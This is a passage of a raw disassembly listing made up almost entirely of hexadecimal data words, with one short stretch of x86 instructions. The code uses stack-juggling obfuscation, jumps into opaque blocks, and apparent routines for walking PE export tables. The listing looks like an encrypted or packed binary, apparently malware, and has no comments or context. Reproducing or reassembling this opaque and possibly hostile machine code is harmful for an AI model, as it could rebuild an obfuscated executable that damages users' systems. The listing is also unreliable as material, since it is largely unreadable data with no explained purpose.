0C1C35040h, 3A67E065h dd 3FE0CDA9h, 6810FFAh, 8B000000h, 31B7D85h, 0E185C706h dd 2C060301h, 0F000062h, 680h, 0A1858B00h, 0C7060317h dd 321BD85h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0DDBE66D7h, 0D9B5FF00h dd 51060321h, 5F5FF953h, 269195FFh, 958B0603h, 60308BDh dd 95FF006Ah, 6031FB9h, 9EBC08Bh, 3ED2A770h, 0AE380F4Ch dd 0D99D8D87h, 0B8060323h, 39h, 1B118589h, 0E80603h, 58000000h dd 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h), 0B0E9FFh dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h, 3135985h dd 36840F06h, 3B000000h, 32D1185h, 2A840F06h, 3B000000h dd 3017585h, 1E840F06h, 3B000000h, 3234585h, 12840F06h dd 83000000h, 32935BDh, 840F0106h, 5, 5FE9h, 3D08B00h dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h dd 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh dd 0DE9FFFFh, 8D000000h, 34D1C9Dh, 5B806h, 0E3FF0000h dd 0D00BC361h, 58258D8Dh, 6A0608h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 1AFAE8C3h, 37D3DCBAh dd 48D0FE8h, 66000000h, 89A91BBBh, 331D18Dh, 199D2906h dd 0C706031Dh, 301E185h, 59D806h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 1E860064h dd 0FB0CC3ADh, 6BBE66F7h, 9E8EEh, 56E30000h, 0DA19897Ah dd 298B6E6Dh, 3284595h, 85C75E06h, 60321BDh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8AC35141h dd 9C3717FCh, 0B2358DD7h, 31B5FF7Bh, 0E906031Ah, 0Dh, 9DE3516Ah dd 2EE8FB4Fh, 0DAAFB380h, 9195FFA3h, 6A060326h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 8FFDC356h, 0B06746F0h, 0CAF0F781h, 6A3B4Bh, 1FB995FFh dd 0C08B0603h, 182C38EBh, 0B78E5C59h, 6E30DA8Ah, 1DBEC4B0h dd 7632512Bh, 4A27EF47h, 0DAE7D9B3h, 0F581F3EBh, 0BC7A3BB7h dd 2D62A9Ch, 735EEFE8h, 0A2824AB4h, 9209E79Eh, 0C80AE239h dd 0DE8F53Bh, 0FC000000h, 0BD90229Dh, 0D36315DBh, 0CBB35CCCh dd 0F58F58Ah, 1B8Fh, 14E95300h, 0 dd 3E64669Bh, 216CC4EEh, 0C4BDFBA2h, 0FCA92B75h, 5F7ECF3Ch dd 74FBC081h, 8D8B0000h, 6030C05h, 1CFEBBh, 0FE800h, 0C1080000h dd 0ECD13B24h, 4DBEF46Eh, 1C6643FEh, 30FF5A85h, 3175BD8Bh dd 0E95E0603h, 14h, 0F90882E8h, 0D2E04AE2h, 8E19A5D1h dd 0F39B5B8Ah, 0B35DA7B1h, 0E77DC681h, 8D8B1E78h, 60310F9h dd 0CB5BC681h, 0BA6066F7h, 0F85C23Eh, 5DD8D8Bh, 81610603h dd 2B8EE4F6h, 73BF6635h, 0F605647h, 0A89h, 5E900h, 993D0000h dd 0B70BD120h, 8F6124h, 83CF8B66h, 8F0F02E8h, 5, 0BC223FB9h dd 8948480Fh, 31C8185h, 1EB8106h, 0F000000h, 1885h, 15B58900h dd 0E9060332h, 1Eh, 2B2E55EDh, 786E8808h, 4149BD9Eh, 0FFBF0FCAh dd 0FFFF59E9h, 7B6ADAFFh, 0F015D6F7h, 23E914ACh, 0F000001h dd 18Eh, 0B58DFC00h, 6085A04h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0B4C35343h, 0B70F601Eh, 585060FFh dd 8E0Fh, 61610000h, 6840Fh, 60600000h, 61FB8B61h, 5850Fh dd 0F600000h, 8D61C7B7h, 64BD485h, 0FE906h, 9F090000h dd 3DFB2236h, 55036A32h, 0BF692764h, 0FE91Bh, 0ACA60000h dd 0E3C36A72h, 0FA393AD7h, 0B3D41DD1h, 0F5D0FFA3h, 0AE9C3h dd 0E5290000h, 271A1949h, 0B442ED0Fh, 0FCD98C66h, 0F04C1F6h dd 5784h, 128C0F00h, 0E9000000h, 0Dh, 5FD9FB8Eh, 50329321h dd 7B8AAEC5h, 18F0FD7h, 0FC000000h, 0CB8BFB8Bh, 75AEC032h dd 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh dd 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h, 1B8FAh dd 9EB0000h, 0E4EB008Bh, 0B8h, 0BE9CF00h, 45000000h, 0DC3984D2h dd 0B494E918h, 13E9DC25h, 0A7000000h, 0E34E49E0h, 0DDCFF130h dd 9212217Ch, 0DA5D4C54h, 85C746E9h, 6085A48h, 1013Fh dd 60EBh, 17h dup(0) dd 8EE90000h, 0E900000Ah, 0A82h, 861DC68h, 224FE906h, 5668FFFBh dd 0E9060863h, 0FFFB2245h, 863BB68h, 223BE906h, 7100FFFBh dd 0E8B5184Ch, 56388DC3h, 0C2AA3FADh, 35DAAF3Dh, 0AB6AD88Ch dd 0F3911AFFh, 67658A6Eh, 95FB0092h, 4486D00h, 74ED3D7Dh dd 0C8710695h, 462ABB38h, 5830B559h, 0A926A60Dh, 3351563Ah dd 8826C7AEh, 3B4CAAD7h, 9D1B35B0h, 699260CDh, 0F9FE927Fh dd 0BC6D02EFh, 2FB2DADFh, 0A326A647h, 0B21F49D4h, 29B4D4DDh dd 4528A045h, 0F35E0EB3h, 6C916122h, 0CA82697Ch, 9AD4D2BDh dd 6A7778Eh, 6402C975h, 9DCFF481h, 78326CC8h, 751B0895h dd 660BE14Ch, 0FF009495h, 4C337C10h, 933810AEh, 767106A6h dd 0EFF90297h, 0F36CBCFAh, 497106A6h, 580F2682h, 0DDCAAD30h dd 4ED3B53Ah, 0D5B807ACh, 0B2D6BD42h, 0A2432AC1h, 0F0AC2FC1h dd 1836088h, 8E6A8F6Ch, 8074F9FAh, 7F986D56h, 23h, 8E6C01F8h dd 8A666365h, 0D253553Dh, 0F0B02901h, 590C770Eh, 2A8201E4h dd 0F1C3A049h, 2E5A72h, 0F0D90000h, 1836088h, 0EF0B029h dd 0BB38AD77h, 492A8201h, 459D3C6Ah, 0B8D9AD96h, 0A64B7DDAh dd 857EC543h, 2DFDB7F1h, 770EF0B4h, 6CE75D08h, 4B6785F0h dd 120831FFh, 3E78EF75h, 4B21CAAFh, 0C87E1B23h, 968A710Bh dd 2A4E5642h, 0B055936Ah, 0AF5020DDh, 4C5DBFC0h, 804B293Ch dd 1463624h, 0F0410000h, 94476389h, 0D6B1E350h, 0BDFB711Dh dd 0EE3EC6Dh, 0F3954077h, 6266876Eh, 0A2432A71h, 0F0AC2FC1h dd 2B836088h, 35F6986Dh, 7AF65D62h, 568074F9h, 337F986Dh dd 0F8000000h, 836088F0h, 0F0B02901h, 9A6B770Eh, 5C75F3F8h dd 82013489h, 0C3A0492Ah, 395A72F1h, 1C000000h, 0F04DC662h dd 0F7B3770Eh, 0EF0BA53h, 0C4530677h, 88F0EB68h, 29018360h dd 770EF0B0h, 1BB38ADh, 886C0182h, 17E48967h, 6C011192h dd 451668Bh, 91886D18h, 4FB4523h, 476389F0h, 0EF056E3h dd 5B17C277h, 0F11089A1h, 0F96C770Eh, 0EF866B03h, 491C9ACEh dd 29AA06ABh, 0C1A2432Ah, 668B6C01h, 0E5856366h, 6088F0F6h dd 986D2B83h, 0F095F7F8h, 8074FF74h, 7F986D56h, 3Fh, 6088F0F8h dd 0B0290183h, 6B770EF0h, 74F0F99Ah, 1358E5Dh, 6567886Ch dd 678C6D60h, 2AD0CF89h, 0DB65849h, 5E01CDA6h, 5DD390F6h dd 68C0FE7Ch, 770EA1EFh, 94229E4Dh, 2C5ADFh, 0F0D90000h dd 95466088h, 0AE8EBF23h, 0E86BC1EAh, 0D5A64701h, 0DF78502Ch dd 0FC770EF0h, 82019469h, 0BB58492Ah, 1CAAB36h, 8967886Ch dd 0E15A403Fh, 0D9000000h, 476389F0h, 2EFACEA6h, 770EF0B5h dd 7BF15C0Bh, 0BE2833Dh, 9D3E0EEAh, 13770EF0h, 49D4D9BCh dd 0DADBB21Fh, 432ACDB6h, 906104A2h, 1168D6Bh, 8393265Eh dd 59D7A994h, 88F04231h, 0BC8C4660h, 770EF023h, 0FD76F299h dd 0D2B36D2Bh, 0F66FB93Eh, 4A770EF0h, 74A2219Fh, 986D5680h dd 4F7Fh, 5E01F800h, 55BAA0D9h, 0CF78F494h, 14C21C7h, 0EF0B029h dd 48A86B77h, 0E6C659F8h, 3FAA8B61h, 0AA51D083h, 2F857432h dd 0A326A647h, 1DB58D4h, 0E3470182h, 770EF06Ah, 0C0A503D6h dd 1358E33h, 706A135Eh, 60DC68F5h, 315A19D6h, 0D9000000h dd 836088F0h, 0F0B02901h, 38AD770Eh, 3B4ADD7Eh, 422B4A37h dd 0E206DE6h, 0B904D377h, 820140C3h, 0C3A0492Ah, 6AE34701h dd 0D6770EF0h, 641BA503h, 2AA2432Ah, 580CB547h, 0E59D22F5h dd 40D9712Bh, 0BC770EF0h, 0F066FF29h, 12A4770Eh, 0B70D93E6h dd 4E077AEh, 42D3B264h, 70EBC3B9h, 62770E82h, 0B1441E42h dd 0FD93720Ch, 7BF194F4h, 0CAEB8217h, 0A05A1482h, 0E830F88h dd 0AEFE6D77h, 770E8235h, 0C960DC8Bh, 0ED31F5B4h, 0AF3DC255h dd 3B777500h, 119A41EFh, 6068FF75h, 0E3B1E5B6h, 7A495FF0h dd 2C31AEFEh, 3BFF710Bh, 2970F898h, 3713B567h, 710BA29Eh dd 0D7E877E2h, 0FDE9DC98h, 4E72CE34h, 23061E1Ah, 1BC1936Ah dd 72000000h, 2AA2432Ah, 0EF08902h, 33675D77h, 0CE648F50h dd 7C553BC5h, 0E50AED80h, 432AFCE7h, 0F29D2AA2h, 7B6EBAF4h dd 0B57506B7h, 0C04722F5h, 9867512Ch, 61717B0h, 6BF66571h dd 0A13F4A65h, 2E732109h, 0BA216F09h, 0FE8D0AD2h, 0DF9B7702h dd 0E440690Eh, 0CE18CD0h, 0D4DDB26Fh, 80193149h, 0FC7702FEh dd 9CA09369h, 5B996160h, 37h, 8B6C01E4h, 67E04866h, 0D5770EF0h dd 761DAA06h, 69123670h, 0B0770EF0h, 926613EFh, 29BCF01Dh dd 0ECC5A348h, 0CAAC4179h, 14E48921h, 10ECF993h, 1E997Ch dd 0F0240000h, 0F3F49B89h, 51FE4A64h, 0CF770EF0h, 0E98F5E18h dd 41128CC0h, 0BAD608DBh, 0EC67DDC1h, 1405Ah, 83F0D900h dd 6C018865h, 61646489h, 2AF0E38Bh, 2BC1A243h, 15E01A8h dd 0F188628Ch, 0DBDCBCD3h, 895E565Dh, 3219986Ch, 9A000000h dd 886583F0h, 0F0B02901h, 590C770Eh, 4A94C21h, 6C012BA8h dd 6267618Ah, 7F0EC886h, 1F941099h, 0C6BF442Ah, 6C0172F1h dd 8B8E6A8Fh, 29h, 6583F02Ah, 0B0290188h, 0AD770EF0h, 0C0882DC0h dd 1453E85h, 0BF442A82h, 7B145003h, 0CBD3E075h, 9CCCF184h dd 0F1F073C9h, 0A2432A72h, 0D5CA5304h, 5E972DDBh, 0AC2F61E2h dd 466088F0h, 0F023BC8Ch, 0F299770Eh, 6D2BFD76h, 640AF798h dd 0CD580D5Fh, 0F172CE9Bh, 6D568074h, 477F98h, 9A3D0000h dd 0D2A5F32Ah, 5058C2Dh, 0F04BC8A4h, 1836088h, 0EF0B029h dd 0E4590C77h, 618A6C01h, 2AD6CD8Bh, 1C3A049h, 8B618A6Ch dd 7D0833Dh, 84B29869h, 0C6AF9839h, 0DAD7FFF0h, 205AE55Eh dd 1C000000h, 0A602A749h, 6088F02Dh, 8F6C0183h, 78D08E6Ah dd 770EF0DFh, 19469FCh, 0A0492A82h, 2A72F1C3h, 6F29A348h dd 8A36E9ACh, 926EF85Fh, 0E6D1CBAh, 0B93ED677h, 7AC422Fh dd 0FB2F1745h, 0DA0E0E5Bh, 9BC9F280h, 0A3482AD8h, 0DB64429h dd 5F2EC85Bh, 365335BEh, 185286BAh, 0CB13717Ah, 770EE7C0h dd 457E878Ch, 4025996Dh, 9C25F7B0h, 93A1BB31h, 0D2FFFFFEh dd 0EF0F26Fh, 0F14A4777h, 23BF770Eh, 94770EF0h, 770EF0F7h dd 0FCAD4322h, 96F3951Eh, 9DAD0Bh, 75770EF1h, 0B70EF0D8h dd 9129C7B2h, 8C6E1BFCh, 95606567h, 5C1A96F3h, 0C5DA8CCh dd 395306B5h, 0CDE5038Eh, 0D7AD5638h, 0D47B199h, 0A635AF0Ch dd 0D61F800Fh, 58B55526h, 302h, 0CE8223F6h, 73119A7Bh dd 0EDE308EEh, 1D737418h, 8EC2E788h, 0CCADF924h, 3CDCA127h dd 0B240D5BBh, 1FF65B09h, 0EFABCA9Eh, 68FC25Bh, 0ED8E3E71h dd 2AA2432Ah, 0BAF4F29Dh, 0CAA6472Bh, 0B6B5BC8Ch, 4B0C7506h dd 37DFE184h, 575AE1B6h, 0DB8EA71Dh, 28E865B5h, 0B7C27106h dd 8EA98139h, 4D6EFDEEh, 59D7D8B8h, 1BD5ED78h, 5E50C961h dd 39AC770Eh, 5E472E43h, 305537BCh, 0BB5227A5h, 58A523Ah dd 0F5770E5Fh, 0F6526C8Ah, 750624E7h, 1DA24A59h, 0E060D44Bh dd 0BA3D7141h, 6C26402Fh, 60043DCh, 8DD2B971h, 16EF5782h dd 0A9E75D73h, 0F28C31C4h, 0E8771038h, 0C5C57106h, 6E8EC65h dd 3E855071h, 9D702E42h, 0F194F4F9h, 7E7F167Bh, 35C5A86Eh dd 8B34B0h, 4E21C4E2h, 0B595D3A9h, 6EFEAFA2h, 1781CB9Eh dd 9E54CD5Dh, 3DA8770Eh, 0A58DF847h, 4F20FC41h, 0F4A320D3h dd 7B2E690Eh, 0A3743299h, 0F898FFFBh, 0DF40A2F7h, 117B7C13h dd 5513E974h, 68CBEF5h, 0CBAF0275h, 42235F2Ah, 0F3460AABh dd 29F19B1Ch dd 710686ACh, 0F03FF39Eh, 0BADB9141h, 0F15911FCh, 6EFE00EAh dd 0BEC98356h, 0A4492DD3h, 64426B24h, 76E9F5A3h, 0A8621CEBh dd 0D44433C5h, 8A68DD63h, 90B83483h, 75116992h, 0C942E6A0h dd 37710B6Ah, 6A3ED773h, 0D782710Bh, 0B1C2FD48h, 18E0D37Bh dd 1889D70h, 9D7C0000h, 14E17418h, 8214F9EFh, 0EE866B79h dd 61369BC9h, 7FBE3458h, 2FBD462Bh, 5331B65Ah, 0C1872CCEh dd 7014997Ch, 48C16921h, 0B471068Dh, 85F06704h, 0B9914B67h dd 770EF020h, 64BF40D0h, 833D7BF1h, 0FE50AE2h, 6B7383Fh dd 6B7DE875h, 0F7B3315Ch, 98D5553h, 3D74E36Fh, 0E6DBADC2h dd 2312CF9Fh, 91000001h, 1AEFFD02h, 891C7079h, 3B8EC2E7h dd 0AB3E5253h, 0C5AF3DC6h, 6AB4C1Ah, 9A1BFF42h, 689163F6h dd 0F9FE9164h, 7CCCCAEBh, 71068DE3h, 0F0D49759h, 0FF4B6785h dd 7506B6F0h, 65D3B520h, 0CABCABB2h, 20FD8223h, 582D8B38h dd 862BC8B5h, 0CEE7F3Bh, 0BB6509E7h, 0DDB02901h, 0A10C7106h dd 27A22ACFh, 0E689DC58h, 33565B39h, 57325A5Bh, 451680C8h dd 1E4CDE5Dh, 3CC1555Ah, 98311951h, 0E47106CFh, 414CFB71h dd 82307A3h, 0B06EFE96h, 41D2A725h, 0AF41D4B8h, 0C9B20F2h dd 9C21F558h, 0E48D4EC8h, 3A6456Eh, 0F35E6331h, 7A7F1075h dd 21C6A93Ch, 0BD52274Bh, 0BF1D52FEh, 0E5F67997h, 78ABCC28h dd 0E9B33956h, 611ECEDEh, 0F4590F9Ah, 6E78324h, 98EC4871h dd 8B886735h, 9091C49h, 0D4AEAF6Ah, 1AE17D5Ah, 0A174D98Fh dd 80A8621Ch, 770E4907h, 489D3612h, 74E3770Eh, 39DB8E5Dh dd 0CD5034B0h, 2AC8422Dh, 82B569D9h, 6B165137h, 0DA15354Dh dd 6675062Eh, 613499F3h, 3D5085Ch, 68000000h, 472A8003h dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 52C6h dd 89240489h, 405E0h, 0E8830000h, 24048704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 6EAEh mov [esp], edx sub esp, 4 mov [esp], ebp mov ebp, 6085B2Ah mov ebx, ebp pop ebp push 74D2h mov [esp], esp add dword ptr [esp], 4 pop edx push ebx xor dword ptr [esp], 6A261256h pop dword ptr [edx+8] push ebx mov ebx, 8 add ebx, edx xor dword ptr [ebx], 6A261256h pop ebx push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_5439D9 ; --------------------------------------------------------------------------- dw 0FC63h dd 23205BEh, 38684EACh, 3B89571h, 3060865h, 0E9C38BC5h dd 13Ch, 4Fh dup(0) dd 35DBD83h, 0F010603h, 5F584h, 0F536000h, 83h, 850F5F00h dd 5, 0B7DE8166h, 85C6613Ch, 6032F39h, 0C860F43h, 0F000000h dd 688h, 840F00h, 0E8000000h, 4, 0ECA5D0F5h, 12E960h, 0FD730000h dd 44128B25h, 167CDE6h, 0FE3558D7h, 537E3B7Bh, 61D18B66h dd 60525050h, 0B28FB966h, 61F98B66h, 6060310Fh, 61DE8A61h dd 448B585Ah, 52500424h, 2CB96660h, 310F610Fh, 8E0F5250h dd 0 dd 0CE9310Fh, 0C3000000h, 5A382B7Eh, 621C7517h, 5A431400h dd 8B585A58h, 0A810F00h, 50000000h, 0F616052h, 5A616031h dd 24448958h, 14E904h, 5A2C0000h, 0D3F37D93h, 0CAE5601Ch dd 49DC9887h, 0DF72AB62h, 6A58E35Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 88E6C357h dd 39E78E0Ch, 2D7A322Dh, 1840Fh, 60F80000h, 0F5EFEE81h dd 6060760Eh, 86D88161h, 6159DC15h, 0C9B5FF61h, 60060328h dd 3850Fh, 0D2800000h, 0DFB70F5Eh, 0BC858D61h, 0E9060673h dd 0Bh, 7016EEE0h, 25CB0F75h, 0FF8CB289h, 57006AD0h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 665760D8h, 0F495F381h, 40B8665Eh, 89F8618Fh, 3110185h dd 0EC8A6006h, 0C64AE081h, 0C6611C8Eh, 32F3985h, 6A5006h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0BDFBA2C3h, 0A92B75C4h, 0FBA60FCh, 6623FC09h, 431BCB81h dd 8ECF6861h, 5250891Ch, 158F0Fh, 10E90000h, 0C6000000h dd 62EE745Fh, 6C6722EAh, 249282DAh, 0F366DD2h, 0E9525031h dd 0Eh, 1959FF0Fh, 67785D0Ah, 0F7D77642h, 310F4792h, 310F5250h dd 585A585Ah, 3481585Ah, 0B1239924h, 9E921h, 26010000h dd 0E1AF402Bh, 0FF18FAF6h, 328C9B5h, 858DFC06h, 60673BCh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0CC35141h dd 5CBA9A35h, 0F4D7221h, 0A80h, 5B536000h, 840Fh, 0F610000h dd 789h, 0CA806000h, 6158539Dh, 6AD0FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 8602FCC3h dd 81666008h, 61682BCFh, 0BE9h, 3BE48700h, 0F037CB91h dd 0C1D0A59Eh, 0C558589h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 7C0528C3h, 0FF35BB89h dd 0B0849E68h, 6660609Bh, 8E9D68Bh, 59000000h, 2E0ED305h dd 616069CEh, 8161F98Bh, 23912404h, 0E9F854DFh, 0Bh, 847A7304h dd 91750A21h, 0FF850BFDh, 328C9B5h, 0C840F06h, 0F000000h dd 681h, 8C0F00h, 8D000000h, 673BC85h, 12E906h, 120D0000h dd 69DB7146h, 0CCDC2D2Bh, 23B35497h, 4349AFF8h, 8E9D0FFh dd 18000000h, 95BE8C26h, 8954F759h, 31D8985h, 14860F06h dd 60000000h, 9E9h, 0B1A62900h, 0E0D0DE1Ch, 0BF6677D8h dd 0C661793Dh, 32F3985h, 13E95006h, 49000000h, 0BC435CFCh dd 0BFE32B37h, 0A12949D5h, 0FF670B07h, 0F60FDA1h, 28Dh dd 0E9D38B00h, 14h, 0A2C0E6E1h, 9FA25DA4h, 48032F29h, 3DBFBB6Bh dd 0A2ABB2AEh, 4E861h, 0DC560000h, 5250979Ch, 13E9h, 3AB7BE00h dd 2CD7B519h, 7BDA482h, 0C88C9817h, 0BF65169Dh, 0FE9310Fh dd 32000000h, 75159D41h, 81579E12h, 399E1C71h, 585A68E6h dd 0F8B96050h, 660C0601h, 61EE90BFh, 424448Bh, 0E9D08B60h dd 0Ch, 9367AF16h, 0DBD0BFF8h, 0CCA76ABEh, 60008B61h, 0B9665250h dd 310F0B38h, 585A5E53h, 0CB42B966h, 24448961h, 0F525004h dd 686h, 0F525000h, 0F585A31h, 0F525031h, 8Bh, 50310F00h dd 5A310F52h, 5A585A58h, 8A0F5858h, 0Fh, 0AE9h, 94207600h dd 0C74650FDh, 0FF46196Dh, 31359B5h, 1850F06h, 0F8000000h dd 38A7858Dh, 0FFF50603h, 0CE9D0h, 763D0000h, 0FB658A58h dd 9331660Eh, 85890302h, 603144Dh, 12880Fh, 0DE90000h dd 0B8000000h, 0B9943CF3h, 0DFB5917Dh, 0B2AA33BBh, 179E9h dd 0DE900h, 0B71C0000h, 0B026C4D8h, 3F3D560Ch, 952CF271h dd 0EE9h, 0B1032600h, 0ABB93A57h, 67D87023h, 500B38E2h dd 7DBB6660h, 6E907h, 7D490000h, 848AA61h, 6A9561h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0FC24C3C3h, 5E9h, 0C2E1C300h, 0EC8BA0EEh, 0FCC483F5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A6C35040h dd 0FE6BEBFh, 1088h, 0BE900h, 0B2810000h, 57A862F4h, 58A47F9Bh dd 0EE960B8h, 0E1000000h, 0DB3E9B78h, 0B839E81Ch, 0E11BAF9Ah dd 0E82Ah, 815A0000h, 86C16EAh, 0FC45C706h, 0 dd 35DBA83h, 0F010603h, 9884h, 6A5200h, 92FF0F6Ah, 6031101h dd 9C82895Ah, 8D060865h, 865A09Ah, 3C75206h, 128h, 92FF5053h dd 6030C55h, 9A8D525Ah, 60865A0h, 9CB2FF53h, 0FF060865h dd 3144D92h, 0C00B5A06h, 9A8D5074h, 60865A0h, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 0A1BA8D0Ch, 8B060306h, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 306A182h, 92FF5006h, 6031D89h, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 0B9F56000h, 3E053279h, 0D28BFC61h, 6DEA8D8Dh, 7E80608h dd 16000000h, 8B310E8Ch, 0FB8B70AEh, 0D18D895Fh, 6A060331h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 112BC352h, 0FE85929h, 0B1000000h, 11271CA8h dd 5E3F64EDh, 39C177C3h, 0B5896777h, 6031E69h, 0E185C75Fh dd 0F8060301h, 8B00005Bh, 3134585h, 0BD85C706h, 60321h dd 60000000h, 2418D8Bh, 8B0F0603h, 6, 381BD89h, 0FF610603h dd 321ADB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0DE8AF58h, 0FD000000h, 0F24D6A1Ch dd 0A6AC3A10h, 17DE4D1Eh, 319D8B60h, 6006031Fh, 0E85B6161h dd 0Fh, 0CF818D6Bh, 0D57C516Dh, 8483CCC8h, 1DB5248h, 326CD8Dh dd 95FF5E06h, 6032691h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0CEC35242h, 29BD89C0h, 6A060326h, 0B995FF00h dd 8B06031Fh, 0DB6BEBC0h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh dd 0C6D135CDh, 637B0625h, 28048559h, 0B651AA7h, 4082700Dh dd 70E691DCh, 0BCC08025h, 0AE10C602h, 7B8484EFh, 9FA49419h dd 0E9F098FBh, 20FC8D7Ch, 2C30881Ah, 584D4805h, 2925AB6Bh dd 7775915h, 3C8EB3B1h, 94EB05E1h, 3CD3131Eh, 276B84F4h dd 14BB2276h, 63E6029Ch, 1AAD7FDAh, 66E9D5D3h, 60000002h dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 6031359h, 73BC858Dh dd 0D0FF0606h, 93D8589h, 0FE8B0603h, 680CEFC1h, 20060000h dd 26A006Ah, 0D6857h, 95FF0001h, 603093Dh, 32E9h, 3985C600h dd 5606032Fh, 0C530DF68h, 0C9B5FFA9h, 8D060328h, 673BC85h dd 89D0FF06h, 32C9185h, 71858D06h, 50060323h, 56A406Ah dd 9195FF56h, 6106032Ch, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 6EDD8589h, 428B0608h, 0D585890Ch dd 8B06086Eh, 85891042h, 6086ED9h, 6F13B58Dh, 858D0608h dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 86EDDB5h, 0D5858B06h dd 8306086Eh, 86ED9BDh, 840F0006h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 0DD858908h, 8D06086Eh, 86F64B5h dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 86EDD85h, 4C206h dd 6EDD858Bh, 8B0608h, 6EDD8589h, 0CF0608h, 60000000h dd 6F3AB589h, 85890608h, 6086F36h, 0B89858Dh, 408B0603h dd 73858944h, 8D06086Fh, 86FA9B5h, 35858D06h, 0FF005B7Eh dd 858B61D0h, 6086F3Ah, 369D8BC3h, 0F06086Fh, 33C43B7h dd 785B8BD8h, 6F369D03h, 738B0608h, 36B50324h, 5606086Fh dd 8B207B8Bh, 0BD031C73h, 6086F36h, 6F36B503h, 83FC0608h dd 8B41FFC9h, 86F3A9Dh, 3178B06h, 86F3695h, 4C78306h, 0C084028Ah dd 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh, 0FFFFE7E9h dd 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh, 386048Bh dd 86F3685h, 3A858906h, 8B06086Fh, 8BCE8BF0h, 73BD81C1h dd 6086Fh, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h, 8E900h dd 0E8C10000h, 3FF82512h, 0BD8B0000h, 6086F73h, 6070C83h dd 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 73BD8100h, 6086Fh dd 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h, 0E8C10000h dd 0FFF82509h, 2D007Fh, 83400000h, 0F70608h, 80h, 1E840Fh dd 0BD810000h, 6086F73h, 0C0300000h, 0E840Fh, 0F8250000h dd 8B00003Fh, 60000080h, 60883C0h, 0E1858DCFh, 8906086Eh dd 3015585h, 77858D06h, 8906086Fh, 3237D85h, 3E858D06h dd 8906086Fh, 303CD85h, 0FA13C806h, 964A0FE8h, 63AE62A4h dd 7771A1F0h, 0B350204h, 0DA70D878h, 9985C7FEh, 0E7857883h dd 0AC241B31h, 0D8787546h, 4B884B22h, 0DB33672Fh, 0DA2FB73Eh dd 8B551931h, 0DA350A3Eh, 0BB6E4631h, 0DA3695D8h, 0DA337831h dd 4DE1C831h, 0D6D3DBDh, 0C6B08FB2h, 0D5351F32h, 0DA3596B5h dd 0D5551031h, 0DA3523BFh, 72D21031h, 0BB227739h, 0D9BC8D6Bh dd 5B533231h, 5758B6E8h, 0D24485B4h, 9F8C2037h, 6565B3DDh dd 0CA4B16DCh, 8F35A2A1h, 0DA3567D9h, 19681231h, 0FE59906Ch dd 0FE710D35h, 0DA355E35h, 19606631h, 0E3DD8DEAh, 87F44889h dd 0DA3562D9h, 0E3CFE331h, 0BC5D120Bh, 22B7EB0h, 31B0CB6Fh dd 0B0332B41h, 0D9DDC431h, 0FA35C831h, 5368A76Ch, 5B31165Dh dd 0C0313D75h, 9F358C31h, 0CB1D8564h, 9C02D2B9h, 8562013Dh dd 0DA5F5861h, 0DA368C64h, 87153231h, 0B6BC44F2h, 9EB48815h dd 0DA2E4215h, 8F702331h, 56CA0DF2h, 0EEEB10B0h, 8BF5DD55h dd 4FCA5444h, 0DC361AA0h, 0DA30043Eh, 5B534631h, 3310AFC3h dd 0DA359121h, 4E1F827Dh, 0AAE5EA0Eh, 542F44DEh, 81503374h dd 0D3DD4CBAh, 5E354631h, 0BB5E1D1Ah, 0F5EA1879h, 0DA33413Eh dd 5C3A6431h, 0DA353231h, 0E3889A6Eh, 0DA338F21h, 67B64F44h 